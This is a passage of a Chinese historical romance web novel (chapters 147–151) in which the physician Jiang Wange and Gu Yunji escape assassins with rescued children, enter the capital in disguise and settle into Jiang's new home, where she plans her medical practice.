最大的男孩突然举手:“是我喊的!姐姐教我们说,遇到危险就喊顾叔叔!” 顾云霁挑眉看向瞬间石化的姜绾歌:“哦?姜大夫何时给在下升的辈分?” “小孩子胡说!”姜绾歌耳根通红地拧干布巾,“再啰嗦,这盆辣椒水就给你泡脚!” 洞内响起孩子们咯咯的笑声,混着柴火爆裂的轻响,将肃杀夜色隔在了外面。 火光在石壁上投下暖色的影子,姜绾歌指尖的布巾悬在小女孩背上,耳尖烧得厉害。 孩子们那句“爹娘就是这样的”像根小刺,扎得她心口发麻。 “姐姐?”孩子不安地扭动。 “别动,”姜绾歌强行拉回心神,“快擦干了。” 布巾却擦了个空——她竟对着孩子光溜溜的胳膊发愣。 顾云霁的闷笑声从火堆旁传来:“姜大夫这是...拿空气练针法?” 姜绾歌低头一看,脸“腾”地涨红:“要你管!”她手忙脚乱捞起布巾,水花溅了半身。 “脸这么红,”顾云霁慢悠悠添了根柴,“莫非这山洞里...有蛊?” “蛊你个头!”姜绾歌把布巾摔进水盆,“是火烤的!” 话音未落,洞口藤蔓忽然簌簌作响!顾云霁闪电般拔剑起身,却见一只灰松鼠窜进来,叼走了半块干粮。 “......”姜绾歌松了口气,转头对上顾云霁似笑非笑的眼神,恼羞成怒地抓起药杵,“看什么看!” “看某位名医,”顾云霁剑尖一挑,将松鼠吓跑的干粮精准挑回包袱里,“连松鼠和刺客都分不清了。” 孩子们咯咯笑起来。姜绾歌正要发作,最小的女孩忽然拉住她袖口:“姐姐,我背上痒...” 姜绾歌掀开孩子里衣,瞳孔骤缩——腰后一道寸长的擦伤竟已红肿溃脓!“什么时候伤的?”她声音发紧。 “被...被石头刮的...”孩子瑟缩了一下。 “没事!”姜绾歌一边拿出药囊一边安慰孩子,“有我在!” 药囊“哗啦”抖开,她跪坐在孩子身后,银针淬火,手法快得只剩残影。 清创的烈酒触到伤口,孩子疼得浑身一抽。 “忍忍,”顾云霁的大掌突然覆上孩子眼睛,“叔叔给你讲个故事。从前有个女大夫,凶得像只炸毛的猫...”他低沉的声音淌过,孩子紧绷的身子渐渐放松。 姜绾歌诧异地抬眼,正撞进他含笑的眸子。 火光在那双眼里跃动,竟显出几分罕见的温柔。她心尖一颤,低头更专注地清理伤口。 待敷好药膏包扎妥当,孩子已窝在顾云霁怀里睡熟。 姜绾歌揉着发僵的脖颈,忽觉肩头一沉——顾云霁的玄色外袍带着体温落了下来。 “穿着,”他按住她要挣脱的手,“你指尖凉得刺人。” 袍角还沾着血污与尘灰,沉水香混着铁锈味钻进鼻腔。姜绾歌攥紧微凉的衣襟,喉头有些发堵:“...多事。” 夜半时分,火堆渐弱。姜绾歌在顾云霁肩头猛地一颤,梦中呓语泄出唇缝:“...小淘别怕...” 顾云霁拢紧她滑落的外袍:“在呢。” “...还有你,”她忽然往他颈窝埋了埋,梦话含糊却清晰,“总受伤...烦死了...” 添柴的手悬在半空。顾云霁垂眸看着怀中人微蹙的眉,唇角无声扬起。 火炭“噼啪”炸开一颗火星,映亮他眼底深潭。 值夜的男孩突然小声开口:“叔叔,你耳朵红了。” 顾云霁屈指弹飞那点火星:“火烤的。” 忽然,风声呜咽。 姜绾歌猛地睁眼,黑暗中顾云霁的目光如刃出鞘。 “追兵!”她低叱,瞬间拍醒孩子们,“进裂缝!快!”她一把抄起最小的女孩裹进顾云霁的外袍,率先钻进石壁后狭窄的缝隙。孩子们惊慌却无声地跟上。 顾云霁无声滑到她身后,长剑出鞘半寸,寒光映亮他紧绷的下颌。洞口藤蔓被粗暴撕开,火光涌入! “火堆温的!刚跑!” “搜!崽子们拖累,跑不远!” 脚步声逼近裂缝入口。姜绾歌后背紧贴湿冷岩石,屏住呼吸。一只粗糙的手扒开藤蔓,火把光探入。 “头儿!缝太窄,黑得瘆人!”探头的追兵骂骂咧咧,“脚印…像是往东边林子去了!” “东边?追!”脚步声迅速远去。 姜绾歌看向顾云霁,眼神询问。 顾云霁嘴角勾起一丝冷嘲:“撒了点‘山鬼香’,混着硫磺味。” 他侧身,“走,糊弄不了多久。” 山路湿滑陡峭。姜绾歌抱着孩子,喘息粗重。 一个男孩拖着磨破的脚,带着哭腔:“姐…走不动了…” 姜绾歌停下,刚想换手,顾云霁已蹲在男孩面前。 “上来。”他声音不容置喙,目光鹰隼般扫视前方昏暗的密林。 男孩犹豫着趴上他宽阔的背。顾云霁稳稳起身,一手反托住男孩,另一手牵住两个稍大的孩子。 “忍着点,”他声音不高,却奇异地稳住人心,“沂水渡口就在前面,有人接应。” 姜绾歌抿紧唇,抱紧怀里熟睡的孩子,加快了脚步。 天蒙蒙亮,灰雾锁住奔腾的沂水河。唯一去路是座腐朽的索桥,在风中呻吟。 他们刚冲出树林,“咻咻咻——!”刺耳的破空声撕裂空气! “躲!”顾云霁暴喝,猛地将背上的孩子按低,同时发力将姜绾歌和孩子们狠狠撞向旁边巨礁! “夺夺夺!”三支弩箭钉入他们刚才立足之处! 上游乱石滩后,黑衣追兵现身,为首者持弩冷笑:“顾大人,姜大夫,拖着一串油瓶,还能飞了不成?束手就擒!” 前有强敌,后是断崖,索桥是唯一生路。 顾云霁挡在礁石前,长剑斜指,语速如冰珠溅落:“七人,两弩。带孩子们过桥!立刻!不准回头!” “你一个人挡不住!”姜绾歌心沉到谷底。 顾云霁头也不回,斩钉截铁,“走!” 追兵头目狞笑:“想走?放箭!先射小的!”弩手抬臂。 电光火石间,顾云霁右脚雷霆般踹向旁边风化石!“轰隆!”巨石滚落,砸向追兵! 第147章 姜大夫下手…比追兵还狠 “走——!”他身形如鬼魅扑出,剑光匹练直取弩手头目! 姜绾歌眼中狠色一闪,抓住两个大孩子:“跟紧我!低头!” 她抱起最小的,半拖半拽着脚伤的男孩冲向索桥入口。 腐朽桥板剧烈摇晃,脚下浊浪咆哮。 姜绾歌强迫自己不看深渊,死死盯着对岸,推着孩子们在死亡边缘挪动:“抓紧绳索!往前走!别停!” 身后,金铁交鸣、怒吼惨叫揪扯着她的心。她死死咬唇,不回头。 终于将最后一个孩子推上对岸,她踉跄扑倒。 顾云霁一人一剑,在狭窄桥头舞成风暴!左臂衣袖豁开,深色迅速蔓延! “顾云霁——!”她嘶声尖叫。 一名追兵眼见同伴倒下,竟悍不畏死滚地突进,钢刀狠劈桥桩! “咔嚓!”朽木断裂!索桥轰然塌陷半边!顾云霁身形急坠! “一起喂鱼吧!”追兵狂笑扑抱! “找死!”顾云霁眼中戾气炸开,无视失衡,长剑毒蛇般反撩!血光迸现!他足尖在仅存的桥板猛蹬,借力扑向对岸! “抓住他——!”姜绾歌嘶吼着扑向崖边,两个孩子也拼命伸手! 顾云霁身体如断线风筝,指尖险之又险勾住岸沿嶙峋怪石!“呃!”沉重的撞击让他闷哼,左臂伤口鲜血狂涌! 姜绾歌和孩子们连滚爬爬扑上,死命抓住他手腕、衣襟往上拽!对岸追兵的怒吼被风声吞没。 京城阜成门外,盘查森严。 姜绾歌粗布包头,脸上抹灰,背着塞满草药的沉重背篓,浓烈药气冲鼻。三个孩子灰头土脸,怯生生拽着她衣角。 “哪来的?进城作甚?”兵卒斜眼打量。 姜绾歌低头搓衣角,带着浓重乡音,语速又快又怯:“爷行行好…俺男人痨病快不行了…带娃卖点草药…换救命钱…”她掐了把身边大孩子。 “哇——爹要死了!娘说卖了药才有钱!”孩子嚎哭起来。 兵卒皱眉呵斥:“嚎丧呢!晦气!路引!” “有有!”姜绾歌慌忙递上皱巴巴的路引。 兵卒草草一扫,挥手驱赶:“走走走!别堵道儿!” 她如蒙大赦,拉着孩子快步进城。 后面几步,“樵夫”顾云霁扛着巨大柴捆,破斗笠压得极低,步履蹒跚。 “站住!干什么的?”兵卒拦住。 顾云霁微微抬头,斗笠下露出半张胡子拉碴、汗渍尘土混着的脸,声音沙哑粗嘎:“爷…砍柴的…柴压得老寒腿…钻心疼…进城卖了…换膏药…”他晃了晃,几根柴噼啪掉落。 兵卒嫌恶后退:“滚进去!别碍事!” 顾云霁笨拙弯腰想捡。 “快走!别捡了!”兵卒不耐催促。 他这才慢吞吞扛柴进城。脱离视线,随手将柴捆丢给路边乞丐,追上姜绾歌,摘下斗笠扔进泔水桶,露出苍白却轮廓分明的脸。 “姜大夫,”他走到她身侧,声音带着疲惫的调侃,“在下这‘樵夫’,可还像那么回事?” 姜绾歌目不斜视,抱着熟睡的孩子,硬邦邦道:“马马虎虎。离远点,汗血腥味熏人。” 顾云霁非但不退,反而凑近,气息拂过她耳廓:“哦?可我怎么觉着…姜大夫身上这药草香,闻着…舒坦得很?”他瞥了眼包扎的手臂,戏谑道,“尤其…伤患闻着。” “顾云霁!”姜绾歌猛地停步怒视,耳根泛红,“再油嘴滑舌,信不信我…” 话音未落,前方街角几个“行人”猛地掀袍亮刃!后方亦有脚步声急至!城内埋伏! “进铺子!”顾云霁厉喝,一把将她和孩子推进旁边“李记杂货”,自己赤手空拳迎向最先扑到的两把钢刀! 杀手刀锋狠辣,直劈他面门和伤臂!顾云霁疾退闪避,右脚闪电般踢飞一人钢刀。另一刀已近身!左臂剧痛迟滞了动作! “低头!”姜绾歌清叱!她并未完全躲入,手中一大把辛辣刺鼻的黄药粉扬向杀手面门! “啊——我的眼!”杀手捂脸惨嚎后退。 顾云霁欺身而上,手刀狠切颈侧!杀手软倒。 更多杀手围拢! “接着!”姜绾歌又甩出两个小纸包,同时对铺内孩子喊:“捂口鼻!” 顾云霁凌空接住,看准方向狠狠砸出!“砰!砰!”辛辣迷药粉尘炸开! “咳咳咳!” “阿嚏!眼睛!” 杀手阵型大乱!顾云霁趁机夺过地上钢刀!刀在手,气势陡变! “走!”他挡在铺前,单刀织成光幕,且战且退。 “京畿卫办案!散开!”威严呼喝响起,甲胄鲜明的士兵涌来,瞬间冲散杀手。队正疾步上前抱拳:“王爷!卑职来迟!” 紧绷的弦终于松了。顾云霁丢下刀,挺直脊背,尽管脸色惨白,气势已归:“清理干净。护送姜大夫和孩子回府。彻查来路。” “是!” 士兵上前想接孩子,姜绾歌摇头,抱紧熟睡的孩子走到顾云霁身边,盯着他再次被血浸透的左臂,眉头紧锁。 顾云霁交代完,侧头看她,眼中冷冽褪去,浮起懒散笑意:“啧,”他用右手蹭蹭下巴的灰,目光落在她脸上,“姜大夫,这趟‘义诊’,诊金…得加钱了吧?”他晃晃伤臂,“工伤。” 姜绾歌看着他这惫懒样,一路的担忧后怕全炸成怒火:“诊金?”她掏出最大的药包狠狠砸过去,“诊你个头!再敢乱动伤口崩开,死了活该!” 顾云霁稳稳接住药包,沉甸甸的药草味扑鼻。 他看着姜绾歌气冲冲抱着孩子走向马车的背影,那脊背挺得笔直。 掂掂药包,再看看安全的孩子和自己,靠在一旁门框上,失血眩晕,嘴角却压不住地扬起,对着她背影低语。 “活该?那可不行。” 京畿卫的马车在石板路上疾驰,车厢内弥漫着浓重的血腥味和药草苦涩的混合气息。 顾云霁靠坐在角落里,脸色苍白如纸,额角沁出细密的冷汗,左臂的粗布绷带早已被鲜血彻底浸透,暗红黏稠,还在缓慢地往下滴落,在车厢地板上晕开一小滩刺目的痕迹。 “别动!”姜绾歌跪坐在他身边,声音又急又冲,动作却异常迅速。她一把撕开被血黏住的粗布,露出狰狞翻卷的伤口。 皮肉外翻,边缘泛着不祥的灰白。她只看了一眼,眉头就狠狠拧成了结,快速翻检药囊的手指带着轻微的颤抖。 “啧,”顾云霁吸了口凉气,声音因失血和疼痛而低哑,却仍带着惯常的懒散调子,“姜大夫下手…比追兵还狠。” 第148章 回京途中再遇埋伏 “闭嘴!”姜绾歌头也不抬,从药囊里掏出一个扁平的银盒,指尖挑出一大块深绿色的粘稠药膏,毫不客气地拍在他伤口上。 药膏带着刺骨的凉意和强烈的辛辣气味,瞬间激得顾云霁浑身肌肉猛地绷紧,牙关紧咬才没痛哼出声。 “忍着!腐肉不清,你这胳膊就别想要了!”她语气凶巴巴,手下动作却极稳极快,用干净布条蘸着烈酒,仔细清理着伤口边缘的污垢和坏死的组织。动作间,她额前散落的碎发被汗水黏住,眼神专注得像在雕琢最精细的玉器。 顾云霁看着她紧抿的唇和绷紧的下颌线,汗水顺着她小巧的鼻尖滑落。他微微侧头,目光落在她沾着血污和灰尘的侧脸上,那专注的神情,竟让他觉得臂上的剧痛似乎也减轻了几分。 “嘶…姜大夫,”他声音放得更低,带着点虚弱的调侃,“这药…莫不是拿黄连和辣椒熬的?” 姜绾歌用力勒紧新的绷带,系了个死结,没好气地回道:“对!专门治你这种油嘴滑舌、不知死活、还总爱逞英雄的病!” 她动作麻利地收拾药囊,故意不去看他因疼痛而微微抽搐的嘴角和失血过多的苍白。 最大的男孩缩在角落,抱着熟睡的妹妹,怯怯地问:“姐姐,顾叔叔…会死吗?” “死不了!”姜绾歌斩钉截铁,像是说给男孩听,也像是说给自己,“祸害遗千年!他命硬得很!” 顾云霁低低地笑了,牵动了伤口,又是一阵抽气:“听见没?小石头,”他看向男孩,“叔叔命硬。”他试图抬手拍拍男孩的头,左臂却沉重得抬不起来。 就在这时,疾驰的马车猛地一个急刹! “吁——!” 车厢剧烈颠簸,所有人都被狠狠甩向前方!姜绾歌反应极快,一把抱住身边的孩子,自己后背重重撞在车壁上。顾云霁闷哼一声,右手死死抓住车窗边缘才稳住身体,左臂伤口瞬间涌出更多鲜血,染红了刚包扎好的绷带。 “怎么回事?!”姜绾歌厉声喝问,心头警铃大作。 车外传来京畿卫队正紧张的声音:“王爷!前方路中倒着一辆翻覆的粮车!堵死了路!像是…像是故意为之!” 顾云霁眼神瞬间锐利如刀,方才的虚弱疲态一扫而空,只剩下冰冷的警惕。他右手无声地按在了腰间的剑柄上。“小心埋伏!”他声音低沉,带着不容置疑的命令。 话音未落! “咻!咻咻咻!” 尖锐的破空声撕裂空气!数支弩箭穿透薄薄的车厢壁板,狠狠钉在车厢内壁上!一支甚至擦着姜绾歌的鬓角飞过,深深扎入她身后的木框,箭尾犹自嗡嗡震颤! “趴下!”顾云霁暴喝,同时右手闪电般出鞘,寒光一闪,“铛!”地一声格飞了一支射向大男孩的弩箭! 孩子们惊恐的尖叫被姜绾歌死死捂住嘴,她将最小的孩子护在身下,自己蜷缩在车厢最角落,心脏狂跳如擂鼓。 “保护王爷!”车外传来京畿卫的怒吼、兵刃碰撞声和惨叫声!显然,埋伏的杀手数量不少,且早有准备! “走!弃车!”顾云霁当机立断,一脚踹开车门!外面街道已是一片混乱!几具京畿卫的尸体倒在血泊中,七八名黑衣蒙面杀手正与剩下的士兵缠斗,更多的则凶神恶煞地扑向马车! “抱紧我!”姜绾歌对最大的男孩吼道,一把抱起最小的女孩,另一手死死拽住脚伤男孩的手。顾云霁已率先跃下马车,右手长剑如毒蛇吐信,瞬间逼退两个冲到近前的杀手,清出一小块空地。 “跟紧我!”他头也不回地低吼,目光如鹰隼般扫视着混乱的战场,寻找突破口。左臂的剧痛和失血让他眼前阵阵发黑,但他身形依旧挺直如标枪,剑光所至,带起蓬蓬血花! “左边巷口!”姜绾歌眼尖,发现一条相对僻静的窄巷入口。 顾云霁立刻会意,剑势一转,强行向左侧杀去!他剑法刁钻狠辣,专攻要害,一时间竟无人能挡其锋芒。姜绾歌拉着孩子们紧随其后,心脏提到了嗓子眼,耳边全是兵刃交击的刺耳锐响和濒死的惨嚎。 一个杀手见顾云霁左臂垂落,明显是重伤,眼中凶光大盛,舍了对手,挺刀直刺他左肋空门! “小心!”姜绾歌惊叫出声! 顾云霁仿佛背后长眼,在刀尖及体的瞬间猛地拧身回旋!右手长剑以一个不可思议的角度反撩而上!“噗嗤!”长剑精准地没入杀手咽喉!同时,他身体因强行扭转而失去平衡,踉跄一步,左臂的伤口再次崩裂,鲜血汩汩涌出! “顾云霁!”姜绾歌心胆俱裂。 “别管我!走!”顾云霁厉声嘶吼,反手一剑又格开侧面袭来的刀锋,声音带着不容置疑的决绝,“进巷子!快!” 姜绾歌眼中含泪,一咬牙,狠命将三个孩子推进窄巷深处:“往里跑!别回头!”她自己却猛地转身,从药囊里抓出新弄的两包药粉,狠狠砸向追得最近的几个杀手! “噗!噗!”辛辣的粉尘弥漫开来! “咳咳!又是这鬼东西!” “眼睛!我的眼睛!” 杀手的追击被阻了一瞬! “走!”顾云霁抓住这宝贵的机会,一把拽住姜绾歌的手腕,将她狠狠拉进巷子,同时回身一脚踹倒巷口一个堆放的破箩筐,暂时挡住了入口。 窄巷幽深曲折,弥漫着潮湿的霉味。 顾云霁拉着姜绾歌,几乎是拖着她和孩子们在黑暗中狂奔。 他的喘息粗重得吓人,脚步也开始虚浮,全靠一股意志力在支撑。 鲜血顺着他的左臂滴落,在肮脏的石板路上留下断断续续的暗红色痕迹。 “你的血…在引路!”姜绾歌声音发颤,带着哭腔。 “管不了…那么多了…”顾云霁的声音断断续续,气息紊乱,“快…到了…” 终于,在巷子尽头,一扇不起眼的黑漆小门出现在眼前。顾云霁用尽最后力气,在门上有节奏地敲了三长两短。 门“吱呀”一声迅速打开一条缝,露出一张警惕的中年人脸。“王爷?!”那人看清顾云霁的脸,惊骇之色一闪而过,立刻侧身,“快进来!” 几人跌跌撞撞冲进门内。门“砰”地关上,沉重的门栓落下,隔绝了外面的喧嚣与杀机。 第149章 危机解除 沉重的门栓“哐当”落下,隔绝了巷外的刀光剑影。小小的天井里,气氛却有点……诡异。 顾云霁背靠着墙滑坐在地,脸色白得像刚刷的墙皮,嘴唇也没了血色。 他右手死死按着左臂上方,但鲜红的液体还是顽强地从指缝里冒出来,在他身下的青石板上画了幅抽象派“红梅图”。 “嘶…姜大夫,”他吸着凉气,声音虚得飘忽,偏偏还要扯出那副懒洋洋的调子,“你这包扎手法…跟捆粽子似的…勒得慌…” 姜绾歌正跪在他身边,手里拿着烈酒瓶子,闻言没好气地瞪他一眼:“嫌勒?行啊,松开来让它再喷会儿?正好给孩子们现场演示一下什么叫‘血流如注’!”话虽凶,她手下动作却一点不含糊,利落地用烈酒冲洗那狰狞的伤口。 “噗——”烈酒浇上去的瞬间,顾云霁整个人都弹了一下,倒抽一口冷气,额角的冷汗“唰”地就下来了,牙关咬得死紧,愣是没嚎出来,只从牙缝里挤出几个字:“…够劲…比…辣椒水…带感…” “闭嘴吧你!”姜绾歌翻了个白眼,懒得跟他贫。她全神贯注,点燃火折,将几枚金针烧得通红,眼神专注得能穿透皮肉。手腕翻飞间,金针精准刺入穴位。“嗤…”轻微声响伴随着顾云霁又一阵抽搐。 角落里,最大的男孩小石头紧紧捂着妹妹的眼睛,自己却忍不住从指缝里偷看,小脸皱成一团。另一个稍小的男孩带着哭腔小声问:“石头哥…顾叔叔是不是要变成烤猪蹄了?冒烟呢…” 小石头紧张地咽了口唾沫:“别瞎说!姐姐在…在给他治病呢!扎针…就跟…就跟缝衣服似的!”这比喻显然没起到安慰作用,小女孩在哥哥手掌下不安地扭动。 姜绾歌正用小刀剔除腐肉,闻言手一抖,差点没绷住笑出来。她没好气地回头:“小石头!带弟弟妹妹去那边墙根数蚂蚁!再乱说话,晚上没饭吃!” 孩子们立刻噤声,乖乖缩到角落,真开始研究地上的蚂蚁洞了。 处理完伤口,敷上厚厚一层气味清奇的黑色药粉,再用干净布条重新包扎好,姜绾歌才长舒一口气,累得直接坐在地上,靠着墙喘气。 汗水把她脸上的灰都冲花了,一道道的,配上她此刻生无可恋的表情,有点滑稽。 顾云霁缓过那阵剧痛,睁开眼就看到她这副“花猫”尊容,唇角忍不住向上弯了弯,声音还是虚的:“姜大夫…你这脸…演花脸戏不用上妆了…” 姜绾歌随手抹了把脸,结果灰混着汗抹得更匀了。她懒得理他,目光扫过角落里的孩子们,又落回顾云霁那张失血过多、却还要强撑着耍贫嘴的脸上。 危机感还在,但被他这么一打岔,那股沉重的绝望倒是冲淡了不少。 天快亮时,顾云霁的呼吸终于平稳下来,沉沉睡去。姜绾歌靠着墙假寐,脑子里却像开了锅的沸水。 躲?躲到什么时候是个头?靠顾云霁?这家伙自己就是个行走的麻烦吸引器!看看他那胳膊,再想想这一路的惊险…不行,得靠自己! 一个清晰的念头蹦了出来:得找个又大又稳的靠山!还得培养点自己人! 怎么找?姜绾歌看着自己沾着血和药粉的手。她有啥?一身能起死回生的医术啊!京城这地方,最不缺的就是怕死的贵人!把他们伺候好了,她的安全系数不就蹭蹭往上涨? 光做“御用大夫”还不够稳当。姜绾歌眼珠转了转,目光落在墙角数蚂蚁数得快睡着的小石头身上。这孩子机灵,胆子也大…嗯,还有京城里那么多无家可归的小萝卜头… 一个大胆(且有点鸡贼)的计划在她脑子里成型。 第一,打响名头。 必须火速让京城知道她姜绾歌的名号!不是靠男人,是靠真本事!名气就是最好的敲门砖和金钟罩! 第二,收编小弟。 小石头就是第一个!还有那些流浪的孩子。教他们认草药、捣药、跑腿送药…就当收学徒了!从小培养,忠诚度高,成本还低。以后这就是她的“姜家班”! 第三,情报站。 醉仙楼快点建立起情报站了,哪个官家老爷最近又贪了多少钱,谁家老爷又娶了哪个小妾…这些零碎消息,关键时刻说不定能救命。这叫“药童情报网”,无本万利! 第四,小金库。 名声有了,就可以搞点“特供”了。给贵人们量身定制点养颜丸、安神散啥的,价格嘛…当然要对得起“神医出品,必属精品”。有了钱,才能养得起“姜家班”,买得起好药材! 想到未来可能数钱数到手抽筋…是未来可能拥有自己的小势力和安全保障,姜绾歌嘴角忍不住向上翘了翘。虽然前路肯定坑多,但总比坐以待毙强! 天光大亮,驱散了巷弄里最后一丝夜的阴霾。 顾云霁虽然脸色依旧苍白得跟新糊的窗纸似的,左臂也裹成了个显眼的大粽子,但高热已退,那双总带着点懒散笑意的眼睛也重新亮了起来。 他靠着墙,看着姜绾歌利落地给小石头交代着什么,那副精神头十足的模样,仿佛昨夜浴血厮杀、差点交代在巷子里的是别人。 “能动弹了?”姜绾歌安排好孩子,走过来,毫不客气地伸手探了探他的额头,动作自然得像检查药材,“嗯,烧退了。能走道儿不?别指望我背你。” 顾云霁用没受伤的右手撑着墙,慢慢站直了身体,身形虽有些微晃,但那股子挺拔劲儿又回来了几分。 他刚想开口,眼角的余光却敏锐地捕捉到巷口极其细微的动静——一个几乎与阴影融为一体的身影,极其隐蔽地朝他做了个手势。 三指并拢,快速点过额角。 那手势快如闪电,寻常人根本难以察觉,但落在顾云霁眼中,却如同清晰的信号。 整个过程不过呼吸之间。顾云霁紧绷的肩线微不可查地松弛下来,仿佛卸下了一副无形的重担。 他喉结轻轻滚动了一下,长长地、无声地吁出一口气,那气息里带着一种尘埃落定后的释然。 再抬眼时,眼底深处那最后一丝警惕和紧绷也悄然散去,只剩下纯粹的懒散和一种如释重负的轻松感。 第150章 带孩子们回家 一直紧盯着他、准备应对任何突发状况的姜绾歌,瞬间捕捉到了他这细微却显著的变化! 那紧锁的眉宇舒展开了,绷直的脊背也微微放松,连带着周身那股凌厉迫人的气息都柔和了下来。 这绝不是强装的镇定! 顾云霁唇角勾起那熟悉的弧度,带着点劫后余生的慵懒,看向姜绾歌,声音虽然还带着点沙哑,却比刚才更添了几分底气,甚至有点欠揍的调侃, “姜大夫,可以不用这么紧张地盯着在下了。托您的福,胳膊还在,而且…后面的尾巴,也甩干净了。” 得到他亲口的确认,姜绾歌悬着的心彻底落回肚子里。 一股巨大的轻松感和回家的渴望瞬间涌了上来。 她下巴高高扬起,带着一种“老娘终于可以回自己地盘”的扬眉吐气,重重地拍了拍自己腰间那个沉甸甸的荷包:“回、家!” 顾云霁闻言,脸上露出笑容,那笑容里还掺着点调侃:“哦?姜大夫好眼光啊。看来咱们这‘邻居’的缘分,是早就定下了?” 姜绾歌哼了一声:“怎么?顾大人怕我扰了您的清净?放心,本大夫忙得很,没空串门。”她一边说着,一边招呼孩子们排好队,“小的们,列队!目标——梧桐苑出发!” “回家喽!”孩子们欢呼起来,经历了昨夜惊魂,一个安稳的“家”字足以让他们雀跃。 小石头像个小队长似的走在最前面,顾云霁忍着左臂的钝痛,慢悠悠地缀在队伍后面,目光却总是不自觉地落在前面那个纤细却仿佛蕴藏着无穷活力的背影上。 知道她就住在对门,不知为何,心底那根一直紧绷的弦,似乎松了一丝。 梧桐苑近在咫尺。青石板路干净整洁,两旁的宅院大多青砖黛瓦,透着一股沉静的气息。 姜绾歌的脚步停在了一扇黑漆木门前。门楣上光秃秃的,显然是新置办还没来得及挂匾。但门环是崭新的黄铜,擦得锃亮。 而就在这扇门的正对面,几步之遥,是另一扇更为厚重、门楣上悬着一个小小的、古朴“顾”字徽记的黑漆大门。 “喏,”姜绾歌掏出那把黄铜钥匙,冲着顾云霁晃了晃,又指了指对面,“你家,我家。” 顾云霁抱着剑,好整以暇地靠在对门自家门前的石墩子上,一副“我就静静看你开门”的模样,嘴角噙着笑:“嗯,近水楼台,挺好。以后姜大夫要是半夜缺个辣椒水泡脚,喊一声就行,保证随叫随到。” “呸!乌鸦嘴!”姜绾歌瞪他一眼,懒得再贫,将钥匙插入锁孔。 “咔哒。” 清脆的开锁声在安静的胡同里格外清晰。 “吱呀——” 略显沉重的木门被推开,一个规整利落的小院展现在眼前。 院子不大,方方正正,青石板铺地,干干净净。墙角一口盖着青石板的井,井沿光滑。 正对着是三间正房,门窗是结实的松木,看着就敞亮。两侧各有两间小巧的厢房。 最妙的是院子一角,搭着一个结实的葡萄架,虽然现在藤蔓光秃秃的,但架子很稳当,透着一股生机勃勃的潜力。 “哇!好亮堂!” “有井!真方便!” “姐姐!葡萄架能爬吗?”孩子们欢呼着,像一群归巢的雀鸟,瞬间将这个空荡却充满希望的空间填满了生机。 姜绾歌站在门槛内,环视着属于自己的地盘。 一路的颠沛流离、刀光剑影带来的疲惫和惊悸,在这一刻,被“家”的坚实感缓缓熨平。 这里是她的堡垒,她的起点,她“姜氏神医”和“姜家班”的根基所在! 她正要开口规划,正房的门“吱呀”一声开了,两个穿着干净利落青布衣裙、梳着双丫髻的年轻姑娘急匆匆跑了出来,脸上满是担忧和惊喜。 “姑娘!您可算回来了!”左边脸蛋圆润些的丫鬟声音带着哭腔,正是绿竹。 她几步冲到姜绾歌面前,上下打量,“您…您没事吧?听说城里不太平,可吓死我们了!” 右边清秀些的青柠也紧跟过来,眼尖地看到了姜绾歌脸上的灰痕和衣角的破损,还有她身后跟着的、明显不是普通路人家的孩子们,以及…靠在对面门墩子上那位抱着剑、脸色苍白、手臂裹得严实的煞神邻居顾大人! 青柠倒吸一口凉气,但还算镇定,福了福身:“姑娘回来就好。您…您这是?”她的目光在孩子们和顾云霁身上扫过,充满疑惑。 姜绾歌看到她们俩,心里也踏实了不少。 “没事,一点小波折。”姜绾歌摆摆手,语气轻松,试图驱散她们的紧张,“青柠,绿竹,别担心,我好着呢。” 她侧身,指了指身后几个好奇又有点怯生生看着两个陌生姐姐的孩子,“这些小家伙,以后也是我们的人了,都是家里人。” 听到“家里人”三个字,孩子们紧绷的小脸放松了些,好奇地打量着青柠和绿竹。 姜绾歌立刻进入“包工头”状态,声音清亮地布置任务: “青柠,绿竹,你们来得正好!先帮个忙,带孩子们去安顿。” 她指着孩子们:“小石头,带着你柱子哥、虎子弟,跟着青柠姐去东厢房,看看你们以后的地盘!” “小丫,花儿,跟着绿竹姐去西厢房,挑你们喜欢的屋子!” “先把他们安顿好,换身干净衣裳,打点水洗把脸。灶房有吃的吗?先给小家伙们弄点热乎的垫垫肚子。” 青柠和绿竹虽然满肚子疑问,但见姑娘安然无恙,还带回了几个可怜的孩子,立刻压下好奇,脸上露出温和的笑容。 青柠上前,自然地牵起小石头的手:“来,小石头是吧?跟青柠姐走,咱们去看看你们的小窝!” 绿竹也蹲下身,对着有些害羞的小丫和花儿柔声道:“跟绿竹姐姐去西边好不好?姐姐给你们梳漂亮的小辫子。” 孩子们看着两个姐姐温柔的笑脸,最初的怯意消了大半,乖乖地跟着走了。小石头还回头冲姜绾歌保证:“姐姐放心!我们保证听话!” 看着孩子们被安顿好,姜绾歌才松了口气,这才有功夫继续规划她的“王国”: “正房中间那间,辟作诊室!以后药柜、诊台都放这儿!” “东边正房,我的卧房兼书房。” 第151章 事多的王爷 “西边正房,暂时空置,以后要么放贵重药材,要么…收留某些‘诊金丰厚’又无处可去的伤员。”她说着,意有所指地瞟了一眼对面门墩子上那位。 “院子角落那个棚子,等会儿让孩子们和青柠绿竹一起收拾干净!以后就是煎药房和捣药间,咱们的专属作坊!” “咱们”两个字让孩子们和刚安顿好跑出来的小石头都眼睛放光,小胸脯挺得更高了。小石头立刻响应:“是!保证把作坊收拾得干干净净!” 顾云霁一直靠在自家门前的石墩子上,抱着剑,饶有兴致地看着姜绾歌有条不紊地指挥若定,看着她那两个手脚麻利、眼神清亮的丫鬟,再看看她口中那个“咱门”的小萝卜头们。 他嘴角噙着笑,等姜绾歌安排得差不多了,才慢悠悠地开口: “姜大夫这‘家业’,看着是红红火火啊。连伤员收容所都规划好了?” 他晃了晃自己裹成粽子的左臂,语气带着点戏谑,“就是不知道,我这‘对门重伤员’,够不够格入住那‘诊金丰厚’的西正房?或者…给个友情价,住煎药棚子也行?” 姜绾歌回头,隔着小小的胡同,叉着腰,对着他扬了扬下巴,脆生生地回道:“王爷,想住我的西正房?诊金先拿来!黄金百两,概不赊欠!至于煎药棚子…” 她得意一笑,“那是给‘姜家班’预备的,您老这身份,住那儿多不合适?还是回您那‘低调奢华’的王府,让您府上的大夫伺候去吧!哦,对了,” 她像是刚想起来,补充道,“辣椒水泡脚免费体验一次的活动,随时欢迎您过来!” 顾云霁看着她阳光下神采飞扬、仿佛浑身都在发光的样子,再看看自家那扇紧闭的大门,摇头失笑。 这邻居,看来是打定主意要跟他“明算账”了。 不过…好像也不错?至少,热闹。 有了青柠和绿竹这两个得力帮手,姜宅的“基建”速度大大提升。 孩子们被洗刷干净,换上了青柠翻箱倒柜找出来的、虽然不太合身但干净整洁的旧衣裳,小脸也红润起来。 